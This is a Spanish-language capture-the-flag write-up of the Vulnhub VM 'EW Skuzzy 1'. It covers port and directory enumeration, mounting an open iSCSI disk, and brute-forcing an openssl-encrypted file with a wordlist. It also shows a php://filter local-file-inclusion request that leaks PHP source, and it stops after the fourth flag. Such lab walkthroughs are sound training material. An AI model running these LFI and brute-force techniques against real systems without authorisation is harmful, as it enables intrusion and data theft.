______ _____ __ __ / ____/ __ / ___// /____ __________ __ __/ / / __/ | | /| / / \__ \/ //_/ / / /_ /_ / / / / / / / /___ | |/ |/ / ___/ / ,< / /_/ / / /_/ /_/ /_/ /_/ /_____/ |__/|__/ /____/_/|_|\__,_/ /___/___/\__, (_) /____/
Continuamos con Vulnhub para resolver esta VM. Según el autor es nivel intermedio así que vamos allá! Pueden descargarsela en este enlace: https://www.vulnhub.com/entry/ew_skuzzy-1,184/
[!] 01 – Enumeración
Ejecutamos Nmap para realizar un escaneo de puertos y servicios. Esta herramienta detecta hosts conectados en una determinada red, sus puertos abiertos, servicios, sistema operativo etc… Es una tool de gran calidad para realizar auditorias de redes. Vemos el puerto 22, 80 y el 3260 disponibles.
root@kali:~# nmap -A -sV 192.168.1.130 Starting Nmap 7.60 ( https://nmap.org ) at 2017-08-22 15:24 CEST Nmap scan report for skuzzy.home (192.168.1.130) Host is up (0.00044s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 89:c2:ae:12:d6:c5:19:4e:68:4a:28:e9:06:bd:9c:19 (RSA) | 256 f0:0c:ae:37:10:d3:6d:a2:85:3a:77:04:06:94:f8:0a (ECDSA) |_ 256 85:5b:49:17:05:a0:b8:4e:76:ce:b2:63:c6:21:36:e9 (EdDSA) 80/tcp open http nginx |_http-server-header: nginx |_http-title: Welcome! 3260/tcp open iscsi? |_iscsi-info: MAC Address: 08:00:27:60:88:83 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.44 ms skuzzy.home (192.168.1.130) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 104.24 seconds
[!] 02 – Aplicación web
Usamos dirb. Esta tool funciona mediante el lanzamiento de un ataque basado en diccionario contra un servidor web y analizar la respuesta. Tras localizar muchos enlances de los cuales aportando información bastante pobre por no decir nada, justo en el último enlace que nos encuentra dirb vemos una imagen.
root@kali:~# dirb http://192.168.1.130 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Tue Aug 22 15:17:51 2017 URL_BASE: http://192.168.1.130/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.1.130/ ---- + http://192.168.1.130/index.html (CODE:200|SIZE:1297) ==> DIRECTORY: http://192.168.1.130/smblogin/ ---- Entering directory: http://192.168.1.130/smblogin/ ---- ==> DIRECTORY: http://192.168.1.130/smblogin/custom-log/ ---- Entering directory: http://192.168.1.130/smblogin/custom-log/refer/del/arquivos/_archive/autodeploy/Links/pdf/portals/images3/forgotpassword/tuscany/send-password/catalog/tell_friend/queues/month/checking/mode/trap/affiliates/dba/program/font/ ---- + http://192.168.1.130/smblogin/custom-log/refer/del/arquivos/_archive/autodeploy/Links/pdf/portals/images3/forgotpassword/tuscany/send-password/catalog/tell_friend/queues/month/checking/mode/trap/affiliates/dba/program/font/index.html (CODE:200|SIZE:527) ----------------- END_TIME: Tue Aug 22 15:18:15 2017 DOWNLOADED: 119912 - FOUND: 3
Vemos una imagen algo Tr0ll, indagamos en el código fuente y vemos un base64.
<html> <head> <title>Hello...</title> </head> <body bgcolor="black"> <div style="width:500px; margin:0 auto;"> <img src="flags.jpg" /> <!-- SGVsbG8sIGlzIGl0IGZsYWdzIHlvdSdyZSBsb29raW5nIGZvcj8KSSBjYW4gc2VlIGl0IGluIHlv dXIgZXllcwpJIGNhbiBzZWUgaXQgaW4geW91ciBzbWlsZQpGbGFncyBhcmUgYWxsIEkndmUgZXZl ciB3YW50ZWQgYW5kIG15IHBvcnRzIGFyZSBvcGVuIHdpZGUgCkNhdXNlIHlvdSBrbm93IGp1c3Qg d2hhdCB0byBzYXkgYW5kIHlvdSBrbm93IGp1c3Qgd2hhdCB0byBkbwpBbmQgSSB3YW50IHRvIHRl bGwgeW91IHNvIG11Y2gsIG5vIGZsYWdzIGZvciB5b3UuLi4K --> </div> </body> </html>
Lo decodificamos usando la consola de Python.
>>> base64.b64decode("SGVsbG8sIGlzIGl0IGZsYWdzIHlvdSdyZSBsb29raW5nIGZvcj8KSSBjYW4gc2VlIGl0IGluIHlvdXIgZXllcwpJIGNhbiBzZWUgaXQgaW4geW91ciBzbWlsZQpGbGFncyBhcmUgYWxsIEkndmUgZXZlciB3YW50ZWQgYW5kIG15IHBvcnRzIGFyZSBvcGVuIHdpZGUgCkNhdXNlIHlvdSBrbm93IGp1c3Qgd2hhdCB0byBzYXkgYW5kIHlvdSBrbm93IGp1c3Qgd2hhdCB0byBkbwpBbmQgSSB3YW50IHRvIHRlbGwgeW91IHNvIG11Y2gsIG5vIGZsYWdzIGZvciB5b3UuLi4K") "Hello, is it flags you're looking for?\nI can see it in your eyes\nI can see it in your smile\nFlags are all I've ever wanted and my ports are open wide \nCause you know just what to say and you know just what to do\nAnd I want to tell you so much, no flags for you...\n" >>>
Y como dijimos anteriormente es Tr0ll. Busquemos en otro servicio.
[!] 03 – Explotando iSCSI
Ser capaz de conectarse a través de iSCSI(Internet Small Computer Systems Interface) debería permitirnos montar las unidades en nuestro sistema, y tener acceso completo al sistema de archivos. Google nos dice que iSCSI Initiator debe permitirnos ver y conectarnos al servicio iSCSI. Esto se instala como parte del paquete open-iscsi. https://help.ubuntu.com/lts/serverguide/iscsi-initiator.html
root@kali:~# apt-get install open-iscsi root@kali:~# iscsiadm -m discovery -t st -p 192.168.1.130:3260 192.168.1.130:3260,1 iqn.2017-02.local.skuzzy:storage.sys0 root@kali:~# iscsiadm -m node --login Logging in to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.1.130,3260] (multiple) Login to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.1.130,3260] successful. root@kali:~# mkdir iscsi root@kali:~# mount /dev/sdb iscsi/ root@kali:~# cd iscsi/ root@kali:~/iscsi# ls bobsdisk.dsk flag1.txt lost+found root@kali:~/iscsi# cat flag1.txt Congratulations! You've discovered the first flag! flag1{c0abc15976b98a478150c900ebb0c86f0327f4dd} Let's see how you go with the next one...
Y obtuvimos la primera flag! Seguidamente vemos una imagen de disco y procedo a ver con el comando Strings si puedo localizar otra flag like a Sir.
root@kali:~/iscsi# strings bobsdisk.dsk | grep flag /media/bobsdisk/flag2.txt flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
[!] 04 – Fuerza Bruta openssl
A sido Easy (Ya podían ser todas así..). Montamos la imagen de disco y vemos un .csv cifrado y un fichero con pistas. En este fichero podemos ver que menciona «supercalifragilisticoespialidoso», una alusión a rockyou (posiblemente rockyou.txt para fuerza bruta del passphrase) y opción de comando -md sha256 (estas son opciones de línea de comandos de openssl).
root@kali:~/iscsi# mkdir /media/bob root@kali:~/iscsi# mount bobsdisk.dsk /media/bob -t ext2 root@kali:~/iscsi# cd /media/bob root@kali:/media/bob# ls lost+found ToAlice.csv.enc ToAlice.eml
Si vemos con file el tipo de fichero que es ToAlice.csv.enc:
root@kali:/media/bob# file ToAlice.csv.enc ToAlice.csv.enc: openssl enc'd data with salted password
Indagando por el IoT, vi un programa para fuerza bruta salted openssl, así que me limite a descargarlo y usarlo https://github.com/glv2/bruteforce-salted-opensslY vuala! Obtuvimos la password. Dicha password estaba en el documento ToAlice.eml…pero bueno tampoco somos adivinos aunque podriamos haberla probado.
root@kali:~# apt-get install bruteforce-salted-openssl root@kali:~# bruteforce-salted-openssl -t 6 -f /usr/share/wordlists/rockyou.txt -d sha256 /media/bob/ToAlice.csv.enc Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s. Tried passwords: 3475547 Tried passwords per second: 695109,400000 Last tried password: supercalifragilisticoespialidoso Password candidate: supercalifragilisticoespialidoso
Probamos con la password, el cifrado indicado como pista y obtenemos la tercera flag!!
root@kali:~# openssl aes-256-cbc -d -md sha256 -in /media/bob/ToAlice.csv.enc -out /tmp/out.csv enter aes-256-cbc decryption password: root@kali:/tmp# cat out.csv Web Path,Reason 5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site! c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here. flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?
[!] 05 – Explotando LFI con php://filter
En el out.csv además de obtener la flag, obtenemos lo que parece ser un sitio web que nunca hubiesemos capaces de saber «5560a1468022758dba5e92ac8f2353c0». Vemos el código fuente del mismo:
<html> <head> <title>Hackers! They're everywhere!</title> </head> <body bgcolor="black" text="#00ff00"> <center> <marquee width="50%"><font face="arial, helvetica" size="20">HACKER DETECTED! HACKER DETECTED! HACKER DETECTED!</font></marquee> <!-- Yeah, I'm bringing Marquee back, suckers! Just not in Chrome. Thanks, Google. Firefox is still rocking the marquee tag Geocities style though! --> <img src="hacker.jpg" /> </center> </body> </html> <!-- R2VvcmdlIENvc3RhbnphOiBbU291cCBOYXppIGdpdmVzIGhpbSBhIGxvb2tdIE1lZGl1bSB0dXJr ZXkgY2hpbGkuIApbaW5zdGFudGx5IG1vdmVzIHRvIHRoZSBjYXNoaWVyXSAKSmVycnkgU2VpbmZl bGQ6IE1lZGl1bSBjcmFiIGJpc3F1ZS4gCkdlb3JnZSBDb3N0YW56YTogW2xvb2tzIGluIGhpcyBi YWcgYW5kIG5vdGljZXMgbm8gYnJlYWQgaW4gaXRdIEkgZGlkbid0IGdldCBhbnkgYnJlYWQuIApK ZXJyeSBTZWluZmVsZDogSnVzdCBmb3JnZXQgaXQuIExldCBpdCBnby4gCkdlb3JnZSBDb3N0YW56 YTogVW0sIGV4Y3VzZSBtZSwgSSAtIEkgdGhpbmsgeW91IGZvcmdvdCBteSBicmVhZC4gClNvdXAg TmF6aTogQnJlYWQsICQyIGV4dHJhLiAKR2VvcmdlIENvc3RhbnphOiAkMj8gQnV0IGV2ZXJ5b25l IGluIGZyb250IG9mIG1lIGdvdCBmcmVlIGJyZWFkLiAKU291cCBOYXppOiBZb3Ugd2FudCBicmVh ZD8gCkdlb3JnZSBDb3N0YW56YTogWWVzLCBwbGVhc2UuIApTb3VwIE5hemk6ICQzISAKR2Vvcmdl IENvc3RhbnphOiBXaGF0PyAKU291cCBOYXppOiBOTyBGTEFHIEZPUiBZT1UK -->
Otro base64, importamos base64 y lo decodificamos.
>>> import base64 >>> base64.b64decode("R2VvcmdlIENvc3RhbnphOiBbU291cCBOYXppIGdpdmVzIGhpbSBhIGxvb2tdIE1lZGl1bSB0dXJrZXkgY2hpbGkuIApbaW5zdGFudGx5IG1vdmVzIHRvIHRoZSBjYXNoaWVyXSAKSmVycnkgU2VpbmZlbGQ6IE1lZGl1bSBjcmFiIGJpc3F1ZS4gCkdlb3JnZSBDb3N0YW56YTogW2xvb2tzIGluIGhpcyBiYWcgYW5kIG5vdGljZXMgbm8gYnJlYWQgaW4gaXRdIEkgZGlkbid0IGdldCBhbnkgYnJlYWQuIApKZXJyeSBTZWluZmVsZDogSnVzdCBmb3JnZXQgaXQuIExldCBpdCBnby4gCkdlb3JnZSBDb3N0YW56YTogVW0sIGV4Y3VzZSBtZSwgSSAtIEkgdGhpbmsgeW91IGZvcmdvdCBteSBicmVhZC4gClNvdXAgTmF6aTogQnJlYWQsICQyIGV4dHJhLiAKR2VvcmdlIENvc3RhbnphOiAkMj8gQnV0IGV2ZXJ5b25lIGluIGZyb250IG9mIG1lIGdvdCBmcmVlIGJyZWFkLiAKU291cCBOYXppOiBZb3Ugd2FudCBicmVhZD8gCkdlb3JnZSBDb3N0YW56YTogWWVzLCBwbGVhc2UuIApTb3VwIE5hemk6ICQzISAKR2VvcmdlIENvc3RhbnphOiBXaGF0PyAKU291cCBOYXppOiBOTyBGTEFHIEZPUiBZT1UK") "George Costanza: [Soup Nazi gives him a look] Medium turkey chili. \n[instantly moves to the cashier] \nJerry Seinfeld: Medium crab bisque. \nGeorge Costanza: [looks in his bag and notices no bread in it] I didn't get any bread. \nJerry Seinfeld: Just forget it. Let it go. \nGeorge Costanza: Um, excuse me, I - I think you forgot my bread. \nSoup Nazi: Bread, $2 extra. \nGeorge Costanza: $2? But everyone in front of me got free bread. \nSoup Nazi: You want bread? \nGeorge Costanza: Yes, please. \nSoup Nazi: $3! \nGeorge Costanza: What? \nSoup Nazi: NO FLAG FOR YOU\n" >>>
Buscando en el otro sitio web «c2444910794e037ebd8aaf257178c90b», justo en el que dice que «no hace falta mirar aqui» vemos cosas interesantes, aunque las primeras son todas troll. El parámetro ?p parece ser vulnerable a un LFI. En el Feed Reader podríamos tener un RFI «http://192.168.1.130/c2444910794e037ebd8aaf257178c90b/?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt». Siendo el parametro url un archivo remoto data.txt. Vamos a ver que contiene:
##text## This is some example source data for my nice little feed reader. I have designed my own nice little format which will allow it to include dynamic content. Who needs consultants when it's this easy? :) One of the best things is this will allow me to host my feed content to display on this page on an external server So flexible :D ##text## ##php## print("See? This is totally dynamic, generated by PHP right in my own little tool. Hacker proof, too, because there is a secret key required!"); ##php##
Ahora aprovechando el LFI, vamos a obtener el código fuente de las páginas(welcome.php,flag.php,party.php,reader.php) codificado en base64 usando php://filter. Además vemos que no usa las etiquetas convencionales de php, más información aquí https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/
root@kali:/# curl http://192.168.1.130/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php <!DOCTYPE html> <html> <head> <title>I think you're on the right track now!</title> <style> div.container { width: 100%; border: 1px solid gray; } header, footer { padding: 1em; color: white; background-color: black; clear: left; text-align: center; } nav { float: left; max-width: 160px; margin: 0; padding: 1em; } nav ul { list-style-type: none; padding: 0; } nav ul a { text-decoration: none; } article { margin-left: 170px; border-left: 1px solid gray; padding: 1em; overflow: hidden; } </style> </head> <body> <div class="container"> <header> <h1>My great web-app!</h1> </header> <nav> <ul> <li><a href="?p=welcome">Welcome</a></li> <li><a href="?p=flag">Flag</a></li> <li><a href="?p=party">Let's Party!</a></li> <li><a href="?p=reader">Feed Reader</a></li> </ul> </nav> <article> PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg== </article> <footer>Hack the Planet!</footer> </div> </body> </html>
Decodificamos el base64 y obtendremos nuestra cuarta flag!:
root@kali:/# echo "PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg==" | base64 -d <?php defined ('VIAINDEX') or die('Ooooh! So close..'); ?> <h1>Flag</h1> <p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p> <img src="trollface.png" /> <?php // Ok, ok. Here's your flag! // // flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b} // // Well done, you're doing great so far! // Next step. SHELL! // // // Oh. That flag above? You're gonna need it... ?>
Espero que haya podido se util la resolución de esta VM y pueda servir de Writeup por si alguien se anima a su resolución. En las siguiente entrada que publique será sobre Reversing, en concreto al lenguaje assembly.
Un saludo y hasta la próxima entrada.